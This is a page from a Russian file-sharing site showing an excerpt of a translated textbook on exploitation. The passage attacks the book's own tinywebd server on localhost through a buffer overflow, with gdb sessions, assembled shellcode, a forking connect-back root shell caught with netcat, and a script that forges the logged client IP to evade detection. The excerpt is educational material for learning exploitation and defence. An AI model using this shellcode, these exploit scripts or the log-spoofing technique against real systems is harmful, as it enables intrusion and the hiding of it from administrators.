Главная страница
Навигация по странице:

  • 0x8048fb7 : jmp 0x8048f65 (gdb) 0x650 Пропуск очевидного 385

  • 0x660 Усиленные меры маскировки

  • 0x661 Подделка регистрируемого IP-адреса IP-адрес, который заносится в журнал, берется из client_addr_ptr, пе- редаваемого функции handle_connection().Сегмент кода из tinywebd.c

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница39 из 51
    1   ...   35   36   37   38   39   40   41   42   ...   51


    0x8048fb7 : jmp 0x8048f65
    (gdb) break *0x8048fb2
    Breakpoint 1 at 0x8048fb2: file tinywebd.c, line 72.
    (gdb) cont
    Continuing.
    Как видим, точка останова задана прямо перед вызовом handle_connec- tion()
    (выделен полужирным). Затем на другом терминале с помощью скрипта эксплойта посылается новый шелл-код. В результате на дру- гом терминале выполнение остановится в точке останова.
    reader@hacking:

    /booksrc $ nasm mark_break.s reader@hacking:/booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1
    target IP: 127.0.0.1
    shellcode: mark_break (44 bytes)
    [NOP (372 bytes)] [shellcode (44 bytes)] [ret addr (128 bytes)]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $

    384
    0x600 Противодействие
    В терминале с отладчиком выполнение останавливается на первой точ- ке останова. Выводится содержимое важных регистров стека, показы- вающих его состояние до и после вызова handle_connection(). Далее про- должается выполнение программы до команды int3 в шелл-коде, дей- ствующей как прерывание. Снова проверяется содержимое регистров стека в момент начала выполнения шелл-кода.
    Breakpoint 1, 0x08048fb2 in main () at tinywebd.c:72 72 handle_connection(new_sockfd, &client_addr, logfd);
    (gdb) i r esp ebx ebp esp 0xbffff7e0 0xbffff7e0
    ebx 0xb7fd5ff4 -1208131596
    ebp 0xbffff848 0xbffff848
    (gdb) cont
    Continuing.
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff753 in ?? ()
    (gdb) i r esp ebx ebp esp 0xbffff7e0 0xbffff7e0
    ebx 0x6 6
    ebp 0xbffff624 0xbffff624
    (gdb)
    Этот вывод показывает, что в момент начала выполнения шелл-кода значения EBX и EBP изменились. Однако если посмотреть на дизас- семблированные инструкции main(), то выясняется, что EBX факти- чески не используется. Вероятно, компилятор сохранил этот регистр в стеке, чтобы выполнить какие-то соглашения по вызову, хотя он и не используется. Зато EBP используется интенсивно, потому что это базо- вый адрес всех локальных переменных в стеке. Так как первоначаль- но сохраненное значение EBP было затерто эксплойтом, его нужно вос- становить. Восстановив исходное значение EBP, шелл-код должен сде- лать свое грязное дело и вернуться в main(), как обычно. Поскольку компьютеры – детерминированные машины, инструкции ассемблера четко покажут нам, как все это сделать.
    (gdb) set dis intel
    (gdb) x/5i main
    0x8048d93
    : push ebp
    0x8048d94 : mov ebp,esp
    0x8048d96 : sub esp,0x68 0x8048d99 : and esp,0xfffffff0 0x8048d9c : mov eax,0x0
    (gdb) x/5i main+533 0x8048fa8 : mov DWORD PTR [esp+4],eax
    0x8048fac : mov eax,DWORD PTR [ebp-12]
    0x8048faf : mov DWORD PTR [esp],eax
    0x8048fb2 : call 0x8048fb9
    0x8048fb7 : jmp 0x8048f65
    (gdb)

    0x650 Пропуск очевидного
    385
    Беглый взгляд на пролог функции main() показывает, что EBP должен быть на 0x68 байт больше, чем ESP. Поскольку ESP нашим эксплой- том не поврежден, можно восстановить значение EBP, прибавив 0x68 к ESP в конце шелл-кода. После восстановления правильного значе- ния EBP выполнение программы можно вернуть в цикл приема соеди- нений. Правильным адресом возврата будет адрес 0x08048fb7 команды, следующей за вызовом handle_connection(). Эта техника использована в следующем шелл-коде.
    mark_restore.s
    BITS 32
    ; Отметить в файловой системе, что этот код выполнялся.
    jmp short one two:
    pop ebx ; Имя файла xor ecx, ecx mov BYTE [ebx+7], cl ; Null - конец имени файла push BYTE 0x5 ; Open()
    pop eax mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
    xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
    int 0x80 ; Открыть создаваемый файл.
    ; eax = - возвращаемый дескриптор файла mov ebx, eax ; Дескриптор файла – во второй аргумент push BYTE 0x6 ; Close()
    pop eax int 0x80 ; Закрыть файл.
    lea ebp, [esp+0x68] ; Восстановить EBP.
    push 0x08048fb7 ; Адрес возврата.
    ret ; Возврат one:
    call two db “/HackedX”
    После ассемблирования и применения в эксплойте этот шелл-код сде- лает отметку в файловой системе и восстановит работу демона tinyweb.
    Демон tinyweb даже ничего не заметит.
    reader@hacking:/booksrc $ nasm mark_restore.s reader@hacking:/booksrc $ hexdump -C mark_restore
    00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.K.j.Xf.A.1|
    00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c |.f....j.X..l|
    00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha|
    00000030 63 6b 65 64 58 |ckedX|
    00000035
    reader@hacking:/booksrc $ sudo rm /Hacked reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1

    386
    0x600 Противодействие target IP: 127.0.0.1
    shellcode: mark_restore (53 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ ls -l /Hacked
    -rw------- 1 root reader 0 2007-09-19 20:37 /Hacked reader@hacking:/booksrc $ ps aux | grep tinywebd root 26787 0.0 0.0 1636 420 ? Ss 20:37 0:00 ./tinywebd reader 26828 0.0 0.0 2880 748 pts/1 R+ 20:38 0:00 grep tinywebd reader@hacking:/booksrc $ ./webserver_id 127.0.0.1
    The web server for 127.0.0.1 is Tiny webserver reader@hacking:/booksrc $
    0x653 Детский труд
    Разобравшись со сложностями, мы теперь можем незаметно запустить оболочку root. Так как оболочка интерактивна, а мы хотим, чтобы про- цесс по-прежнему обрабатывал запросы Сети, нужно породить дочер- ний процесс. Вызов fork() создает дочерний процесс, являющийся точ- ной копией родительского, за исключением того что он возвращает 0 в дочернем процессе и ID нового процесса – в родительском. Мы хотим разветвить наш шелл-код, чтобы дочерний процесс предоставил обо- лочку root, а родительский процесс восстановил выполнение tinywebd.
    Следующий шелл-код представляет собой loopback_shell.s, в начало ко- торого добавлено несколько команд. Сначала выполняется системный вызов fork, и возвращаемое им значение помещается в регистр EAX.
    Следующие несколько команд проверяют значение EAX. Если EAX равен нулю, переходим на метку child_process и запускаем оболочку.
    В противном случае мы находимся в родительском процессе и должны восстановить работу tinywebd.
    loopback_shell_restore.s
    BITS 32
    push BYTE 0x02 ; fork - это системный вызов 2
    pop eax int 0x80 ; В дочернем процессе после ветвления eax == 0.
    test eax, eax jz child_process ; В дочернем процессе - запустить оболочку.
    ; В родительском процессе - восстановить tinywebd.
    lea ebp, [esp+0x68] ; Восстановить EBP.
    push 0x08048fb7 ; Адрес возврата.
    ret ; Возврат.
    child_process:
    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; Вызов сокетов – системный вызов 102 (0x66)

    0x650 Пропуск очевидного
    387
    pop eax cdq ; Обнулить edx для использования как нулевого DWORD.
    xor ebx, ebx ; ebx содержит тип вызова сокетов.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Построить массив: { protocol = 0,
    push BYTE 0x1 ; (в обратном порядке) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = указатель на массив аргументов int 0x80 ; После системного вызова в eax дескриптор файла сокета.
    .: [ Дальше код совпадает с loopback_shell.s] :.
    Следующий листинг показывает, как работает этот код. Вместо не- скольких терминалов теперь выполняется несколько заданий, и netcat с ожиданием соединения отправляется в фоновый режим путем до- бавления в конце команды амперсанда (&). После того как оболочка осущест вит обратное соединение, команда fg переведет приемник на пе- редний план. Затем процесс приостанавливается нажатием Ctrl-Z для возвращения в оболочку BASH. Возможно, вам было бы проще открыть несколько терминалов, но полезно уметь управлять заданиями, потому что возможность открывать несколько терминалов есть не всегда.
    reader@hacking:/booksrc $ nasm loopback_shell_restore.s reader@hacking:/booksrc $ hexdump -C loopback_shell_restore
    00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
    00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..jfX.1.CRj.j.|
    00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..f.T|
    00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |$.fhzifS.j.QV.|
    00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 |C...I.?.Iy.|
    00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//shh/bin.R.|
    00000060 e2 53 89 e1 cd 80 |.S..|
    00000066
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ nc -l -p 31337 &
    [1] 27279
    reader@hacking:/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore
    127.0.0.1
    target IP: 127.0.0.1
    shellcode: loopback_shell_restore (102 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ fg nc -l -p 31337
    whoami root
    [1]+ Stopped nc -l -p 31337
    reader@hacking:/booksrc $ ./webserver_id 127.0.0.1
    The web server for 127.0.0.1 is Tiny webserver reader@hacking:/booksrc $ fg

    388
    0x600 Противодействие nc -l -p 31337
    whoami root
    При использовании этого шелл-кода оболочка root с обратным соеди- нением поддерживается в отдельном дочернем процессе, в то время как родительский процесс продолжает выдавать веб-контент.
    0x660 Усиленные меры маскировки
    Наш теперешний скрытый эксплойт маскирует только веб-запрос, но
    IP-адрес и метка времени по-прежнему заносятся в журнал. Такие ата- ки трудно обнаруживать, но невидимыми их считать нельзя. Если ваш
    IP-адрес занесен в журнал, где он может храниться долгие годы, это чревато неприятностями в будущем. Раз уж мы стали возиться с на- чинкой демона tinyweb, нужно постараться получше скрыть свое при- сутствие.
    0x661 Подделка регистрируемого IP-адреса
    IP-адрес, который заносится в журнал, берется из client_addr_ptr, пе- редаваемого функции handle_connection().
    Сегмент кода из tinywebd.c
    void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
    unsigned char *ptr, request[500], resource[500], log_buffer[500];
    int fd, length;
    length = recv_line(sockfd, request);
    sprintf(log_buffer, “From %s:%d \”%s\”\t”, inet_ntoa(client_addr_ptr->
    sin_addr
    ),ntohs(client_addr_ptr->sin_port), request);
    Чтобы подделать IP-адрес, нужно внедрить собственную структуру sockaddr_in и записать ее адрес в client_addr_ptr. Проще всего подгото- вить внедряемую структуру sockaddr_in, если написать маленькую про- грамму на C, которая создает эту структуру и делает ее дамп. Следу- ющий код строит структуру с помощью аргументов командной стро- ки, а потом выводит ее прямо в дескриптор файла 1, который является стандартным устройством вывода.
    addr_struct.c
    #include
    #include
    #include
    #include
    int main(int argc, char *argv[]) {

    0x660 Усиленные меры маскировки
    389
    struct sockaddr_in addr;
    if(argc != 3) {
    printf(“Usage: %s \n”, argv[0]);
    exit(0);
    }
    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(argv[2]));
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    write(1, &addr, sizeof(struct sockaddr_in));
    }
    С помощью этой программы можно внедрять структуру sockaddr_in. Ре- зультат компиляции и выполнения этой программы:
    reader@hacking:/booksrc $ gcc -o addr_struct addr_struct.c reader@hacking:/booksrc $ ./addr_struct 12.34.56.78 9090
    ##
    “8N_reader@hacking:/booksrc $
    reader@hacking:/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C
    00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#.”8N..._.|
    00000010
    reader@hacking:/booksrc $
    Чтобы включить эту структуру в наш эксплойт, ее следует поместить в буфер после фиктивного запроса, но перед NOP-цепочкой. Длина за- проса 15 байт, а буфер начинается с адреса 0xbffff5c0, поэтому фальши- вый адрес будет введен по адресу 0xbfffff5cf.
    reader@hacking:/booksrc $ grep 0x xtool_tinywebd_steath.sh
    RETADDR=”\x24\xf6\xff\xbf” # at +100 bytes from buffer @ 0xbffff5c0
    reader@hacking:/booksrc $ gdb -q -batch -ex “p /x 0xbffff5c0 + 15”
    $1 = 0xbffff5cf reader@hacking:/booksrc $
    Так как client_addr_ptr передается вторым аргументом функции, он будет находиться в стеке через два двойных слова после адреса возвра- та. Следующий скрипт эксплойта внедряет структуру с фальшивым адресом и заменяет им client_addr_ptr.
    xtool_tinywebd_spoof.sh
    #!/bin/sh
    # Инструмент скрытого эксплойта с подделкой IP для tinywebd
    SPOOFIP=”12.34.56.78”
    SPOOFPORT=”9090”
    if [ -z “$2” ]; then # Если аргумент 2 пуст echo “Usage: $0
    exit fi
    FAKEREQUEST=”GET / HTTP/1.1\x00”

    390
    0x600 Противодействие
    FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
    OFFSET=540
    RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
    FAKEADDR=”\xcf\xf5\xff\xbf” # Через +15 байт от буфера @ 0xbffff5c0
    echo “target IP: $2”
    SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
    echo “shellcode: $1 ($SIZE bytes)”
    echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
    ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
    echo “[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE]
    [shellcode $SIZE] [retaddr 128] [*fake_addr 8]”
    (perl -e “print \”$FAKEREQUEST\””;
    ./addr_struct “$SPOOFIP” “$SPOOFPORT”;
    perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
    cat $1;
    perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\r\n\””) | nc -w 1 -v
    $2 80
    Лучше всего разбираться в том, что делает этот эксплойт, подключив- шись к tinywebd из GDB. Ниже показано, как GDB подключается к вы- полняющемуся процессу tinywebd, задаются точки останова перед пе- реполнением и генерируется IP-адрес для буфера регистрации.
    reader@hacking:/booksrc $ ps aux | grep tinywebd root 27264 0.0 0.0 1636 420 ? Ss 20:47 0:00 ./tinywebd reader 30648 0.0 0.0 2880 748 pts/2 R+ 22:29 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q–pid=27264 --symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    Attaching to process 27264
    /cow/home/reader/booksrc/tinywebd: No such file or directory.
    A program is being debugged already. Kill it? (y or n) n
    Program not killed.
    (gdb) list handle_connection
    77 /* Эта функция обрабатывает соединение на заданном сокете
    78 * от заданного адреса клиента и регистрирует в журнале с заданным
    79 * дескриптором файла. Соединение обрабатывается как веб-запрос,
    80 * и функция отвечает через сокет соединения. В конце работы функции
    81 переданный сокет закрывается.*/
    82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_
    ptr, int logfd) {
    83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
    84 int fd, length;
    85 86 length = recv_line(sockfd, request);
    (gdb)
    87 88 sprintf(log_buffer, “From %s:%d \”%s\”\t”, inet_ntoa(client_addr_
    ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);

    0x660 Усиленные меры маскировки
    391
    89 90 ptr = strstr(request, “ HTTP/”); // Поиск корректного запроса.
    91 if(ptr == NULL) { // Это некорректный HTTP.
    92 strcat(log_buffer, “ NOT HTTP!\n”);
    93 } else {
    94 *ptr = 0; // Записать конец строки в конце URL.
    95 ptr = NULL; // Записать NULL в ptr (сигнализирует
    // о некорректном запросе).
    96 if(strncmp(request, “GET “, 4) == 0) // Запрос GET (gdb) break 86
    Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
    (gdb) break 89
    Breakpoint 2 at 0x8049028: file tinywebd.c, line 89.
    (gdb) cont
    Continuing.
    Затем с другого терминала выполняется новый эксплойт с подделкой адреса, что подталкивает выполнение в отладчике.
    reader@hacking:/booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1
    target IP: 127.0.0.1
    shellcode: mark_restore (53 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]
    [*fake_addr 8]
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $
    Снова терминал отладчика: остановка в первой точке останова.
    Breakpoint 1, handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request);
    (gdb) bt
    #0 handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
    #1 0x08048fb7 in main () at tinywebd.c:72
    (gdb) print client_addr_ptr
    $1 = (struct sockaddr_in *) 0xbffff810
    (gdb) print *client_addr_ptr
    $2 = {sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343},
    sin_zero = “\000\000\000\000\000\000\000”}
    (gdb) x/x &client_addr_ptr
    0xbffff7e4: 0xbffff810
    (gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0x0804b030 0xbffff624 0xbffff7d4: 0x00000009 0xbffff848 0x08048fb7 0x00000009
    0xbffff7e4: 0xbffff810
    0x00000003 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002
    (gdb) cont
    Continuing.

    392
    0x600 Противодействие
    Breakpoint 2, handle_connection (sockfd=-1073744433, client_addr_
    ptr=0xbffff5cf, logfd=2560) at tinywebd.c:90 90 ptr = strstr(request, “ HTTP/”); // Поиск корректного запроса.
    (gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7d4: 0xbffff624 0xbffff624 0xbffff624 0xbffff5cf
    1   ...   35   36   37   38   39   40   41   42   ...   51


    написать администратору сайта